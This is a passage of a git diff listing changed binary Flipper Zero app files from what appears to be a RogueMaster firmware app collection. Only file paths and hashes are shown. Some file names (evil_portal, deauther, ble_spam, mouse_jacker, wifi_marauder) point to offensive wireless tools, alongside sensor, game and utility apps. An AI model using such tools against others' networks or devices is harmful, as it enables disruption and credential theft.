diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Bluetooth/ble_spam.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Bluetooth/ble_spam.fap index b4c6a345..0f331e5c 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Bluetooth/ble_spam.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Bluetooth/ble_spam.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Bluetooth/bt_trigger.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Bluetooth/bt_trigger.fap index 23a72f1a..142e3199 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Bluetooth/bt_trigger.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Bluetooth/bt_trigger.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Bluetooth/cookie_clicker.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Bluetooth/cookie_clicker.fap new file mode 100644 index 00000000..7295caef Binary files /dev/null and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Bluetooth/cookie_clicker.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Bluetooth/findmy.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Bluetooth/findmy.fap index 312b5c02..6b6b6686 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Bluetooth/findmy.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Bluetooth/findmy.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Bluetooth/hid_ble.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Bluetooth/hid_ble.fap index 79c59c07..cd061a66 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Bluetooth/hid_ble.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Bluetooth/hid_ble.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Bluetooth/pc_monitor.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Bluetooth/pc_monitor.fap index 7377c05e..c13ff93e 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Bluetooth/pc_monitor.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Bluetooth/pc_monitor.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Bluetooth/remote_kodi.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Bluetooth/remote_kodi.fap index b5af8337..98b6c97f 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Bluetooth/remote_kodi.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Bluetooth/remote_kodi.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP32/cam_camera.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP32/cam_camera.fap index 61298a0d..cdd8da03 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP32/cam_camera.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP32/cam_camera.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP32/cam_marauder.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP32/cam_marauder.fap index a10560db..193d7818 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP32/cam_marauder.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP32/cam_marauder.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP32/cam_morse_flasher.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP32/cam_morse_flasher.fap index 84467759..b6ce445b 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP32/cam_morse_flasher.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP32/cam_morse_flasher.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP32/cam_nannycam.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP32/cam_nannycam.fap index 2c8ec71f..3d8fe7af 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP32/cam_nannycam.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP32/cam_nannycam.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP32/cam_qrcode.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP32/cam_qrcode.fap index a5ba8cee..66d2cab3 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP32/cam_qrcode.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP32/cam_qrcode.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP32/camera_suite.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP32/camera_suite.fap index 3559e247..fb7c0a16 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP32/camera_suite.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP32/camera_suite.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP32/esp32_camera.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP32/esp32_camera.fap index 4cd8c0ed..864ceb31 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP32/esp32_camera.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP32/esp32_camera.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP32/esp32_gravity.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP32/esp32_gravity.fap index 2ddad183..011d2d7f 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP32/esp32_gravity.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP32/esp32_gravity.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP32/evil_portal.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP32/evil_portal.fap index 73c1aec9..01d36e55 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP32/evil_portal.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP32/evil_portal.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP32/wardriver.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP32/wardriver.fap index 813eb778..ce7baf96 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP32/wardriver.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP32/wardriver.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP32/wifi_mapping.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP32/wifi_mapping.fap index c794a179..f5fb4139 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP32/wifi_mapping.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP32/wifi_mapping.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP32/wifi_marauder.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP32/wifi_marauder.fap index 34045b58..8b59d2e3 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP32/wifi_marauder.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP32/wifi_marauder.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP8266/deauther.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP8266/deauther.fap index 805aa00f..eadd4776 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP8266/deauther.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP8266/deauther.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP8266/ifttt_button.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP8266/ifttt_button.fap index 0b48763f..7d49a85e 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP8266/ifttt_button.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP8266/ifttt_button.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP8266/wifi_deauther_v2.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP8266/wifi_deauther_v2.fap index 17e27966..f4255943 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP8266/wifi_deauther_v2.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP8266/wifi_deauther_v2.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP8266/wifi_scanner.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP8266/wifi_scanner.fap index 4e2d5e97..bb6d9357 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP8266/wifi_scanner.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ESP8266/wifi_scanner.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/FlipBoard/flipboard_blinky.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/FlipBoard/flipboard_blinky.fap index d7ab4014..2269af7e 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/FlipBoard/flipboard_blinky.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/FlipBoard/flipboard_blinky.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/FlipBoard/flipboard_keyboard.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/FlipBoard/flipboard_keyboard.fap index 9be2740e..be50d73c 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/FlipBoard/flipboard_keyboard.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/FlipBoard/flipboard_keyboard.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/FlipBoard/flipboard_signal.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/FlipBoard/flipboard_signal.fap index 09ab53bd..9fe5a6cf 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/FlipBoard/flipboard_signal.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/FlipBoard/flipboard_signal.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/FlipBoard/flipboard_simon_rm.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/FlipBoard/flipboard_simon_rm.fap index 0b8cde9a..33962d50 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/FlipBoard/flipboard_simon_rm.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/FlipBoard/flipboard_simon_rm.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/MALVEKE/malveke_gb_cartridge.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/MALVEKE/malveke_gb_cartridge.fap index df5f0e6b..4969c799 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/MALVEKE/malveke_gb_cartridge.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/MALVEKE/malveke_gb_cartridge.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/MALVEKE/malveke_gb_emulator.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/MALVEKE/malveke_gb_emulator.fap index 49e0c081..ca96f401 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/MALVEKE/malveke_gb_emulator.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/MALVEKE/malveke_gb_emulator.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/MALVEKE/malveke_gb_link_camera.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/MALVEKE/malveke_gb_link_camera.fap index 36f4b5f3..a309aa2a 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/MALVEKE/malveke_gb_link_camera.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/MALVEKE/malveke_gb_link_camera.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/MALVEKE/malveke_gb_live_camera.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/MALVEKE/malveke_gb_live_camera.fap index 9fb71a36..e04b572f 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/MALVEKE/malveke_gb_live_camera.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/MALVEKE/malveke_gb_live_camera.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/MALVEKE/malveke_gb_photo.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/MALVEKE/malveke_gb_photo.fap index 688e8c55..93114eae 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/MALVEKE/malveke_gb_photo.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/MALVEKE/malveke_gb_photo.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/MALVEKE/malveke_gba_cartridge.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/MALVEKE/malveke_gba_cartridge.fap index e48ec240..68695983 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/MALVEKE/malveke_gba_cartridge.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/MALVEKE/malveke_gba_cartridge.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/MALVEKE/malveke_pin_test.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/MALVEKE/malveke_pin_test.fap index 0b12c620..2836637c 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/MALVEKE/malveke_pin_test.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/MALVEKE/malveke_pin_test.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/NRF24/azerty_mouse_jacker.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/NRF24/azerty_mouse_jacker.fap index 17e815f8..4f7658d2 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/NRF24/azerty_mouse_jacker.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/NRF24/azerty_mouse_jacker.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/NRF24/batch.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/NRF24/batch.fap index ba709586..99a6eef4 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/NRF24/batch.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/NRF24/batch.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/NRF24/channel_scan.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/NRF24/channel_scan.fap index c24fabf5..3b31f99f 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/NRF24/channel_scan.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/NRF24/channel_scan.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/NRF24/mouse_jacker.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/NRF24/mouse_jacker.fap index c07bc1db..8adb3f3c 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/NRF24/mouse_jacker.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/NRF24/mouse_jacker.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/NRF24/mouse_jacker_ms.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/NRF24/mouse_jacker_ms.fap index bb52a5ec..087719dd 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/NRF24/mouse_jacker_ms.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/NRF24/mouse_jacker_ms.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/NRF24/scanner.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/NRF24/scanner.fap index 0b16d7e1..e876a831 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/NRF24/scanner.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/NRF24/scanner.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/NRF24/sniffer.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/NRF24/sniffer.fap index 7f800739..d33df471 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/NRF24/sniffer.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/NRF24/sniffer.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/NRF24/sniffer_ms.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/NRF24/sniffer_ms.fap index 791faac8..cb7ec8e7 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/NRF24/sniffer_ms.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/NRF24/sniffer_ms.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/Sensors/atomicdiceroller.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/Sensors/atomicdiceroller.fap index a15ff84d..70362cf1 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/Sensors/atomicdiceroller.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/Sensors/atomicdiceroller.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/Sensors/bh1750_lightmeter.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/Sensors/bh1750_lightmeter.fap index 9fd809a7..b49a30de 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/Sensors/bh1750_lightmeter.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/Sensors/bh1750_lightmeter.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/Sensors/hc_sr04_dist_sensor.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/Sensors/hc_sr04_dist_sensor.fap index fb3a8aa2..1a9a73db 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/Sensors/hc_sr04_dist_sensor.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/Sensors/hc_sr04_dist_sensor.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/Sensors/j305_geiger_coutner.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/Sensors/j305_geiger_coutner.fap index 9576437f..1ad88fd6 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/Sensors/j305_geiger_coutner.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/Sensors/j305_geiger_coutner.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/Sensors/max31855.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/Sensors/max31855.fap index c79c868d..823f6c59 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/Sensors/max31855.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/Sensors/max31855.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/Sensors/mh_z19_co2_sensor.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/Sensors/mh_z19_co2_sensor.fap index f8c731ba..89fa6392 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/Sensors/mh_z19_co2_sensor.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/Sensors/mh_z19_co2_sensor.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/Sensors/mhz19_uart.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/Sensors/mhz19_uart.fap index 1b3bc1a5..bd921378 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/Sensors/mhz19_uart.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/Sensors/mhz19_uart.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/Sensors/plantower_pmsx003_sensor_reader.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/Sensors/plantower_pmsx003_sensor_reader.fap index 5e5f4254..2c9b26f5 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/Sensors/plantower_pmsx003_sensor_reader.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/Sensors/plantower_pmsx003_sensor_reader.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/Sensors/radiation_sensor.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/Sensors/radiation_sensor.fap index 39ca10f5..dfbeb9bb 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/Sensors/radiation_sensor.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/Sensors/radiation_sensor.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/Sensors/rcwl_0516_motion_sensor.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/Sensors/rcwl_0516_motion_sensor.fap index 69d5fb18..697e4179 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/Sensors/rcwl_0516_motion_sensor.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/Sensors/rcwl_0516_motion_sensor.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/Sensors/temp_sensors_reader.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/Sensors/temp_sensors_reader.fap index ca3a5d97..ec7e308d 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/Sensors/temp_sensors_reader.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/Sensors/temp_sensors_reader.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/Sensors/usping_dist_sensor.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/Sensors/usping_dist_sensor.fap index 8f633cd0..bf1653a1 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/Sensors/usping_dist_sensor.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/Sensors/usping_dist_sensor.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/VGM/air_arkanoid.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/VGM/air_arkanoid.fap index 396f8795..348d3b98 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/VGM/air_arkanoid.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/VGM/air_arkanoid.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/VGM/air_labyrinth.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/VGM/air_labyrinth.fap index b3a67ce9..94d9e691 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/VGM/air_labyrinth.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/VGM/air_labyrinth.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/VGM/vgm_air_mouse.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/VGM/vgm_air_mouse.fap index a1d2d32a..9006640d 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/VGM/vgm_air_mouse.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/VGM/vgm_air_mouse.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/VGM/video_game_module_tool.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/VGM/video_game_module_tool.fap index 7eca52fc..77934c8a 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/VGM/video_game_module_tool.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/VGM/video_game_module_tool.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/avr_flasher.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/avr_flasher.fap index 3530b0f4..1de3b9ba 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/avr_flasher.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/avr_flasher.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/battery_checker.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/battery_checker.fap index 265828b3..3d602b3b 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/battery_checker.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/battery_checker.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/bmi160_air_mouse.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/bmi160_air_mouse.fap index 42cb0022..075ad561 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/bmi160_air_mouse.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/bmi160_air_mouse.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/canonivm.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/canonivm.fap index d0831711..c389e948 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/canonivm.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/canonivm.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/coffee_eeprom.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/coffee_eeprom.fap index 837481e5..ba71a5c4 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/coffee_eeprom.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/coffee_eeprom.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/continuity.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/continuity.fap index 0ceb2837..190398f8 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/continuity.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/continuity.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/dap_link.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/dap_link.fap index 91538128..fcc35bbf 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/dap_link.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/dap_link.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/digimon_fcom.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/digimon_fcom.fap index 9ad1cb74..e7e3db03 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/digimon_fcom.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/digimon_fcom.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/esp_flasher.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/esp_flasher.fap index 76d3fb92..66b5e8c2 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/esp_flasher.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/esp_flasher.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ethernet_w5500.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ethernet_w5500.fap index 0597a8bc..b62f33ec 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ethernet_w5500.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/ethernet_w5500.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/flashlight.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/GPIO/flashlight.fap index 06213dac..88a449e4 100644 Binary files a/Applications/Custom (UL, 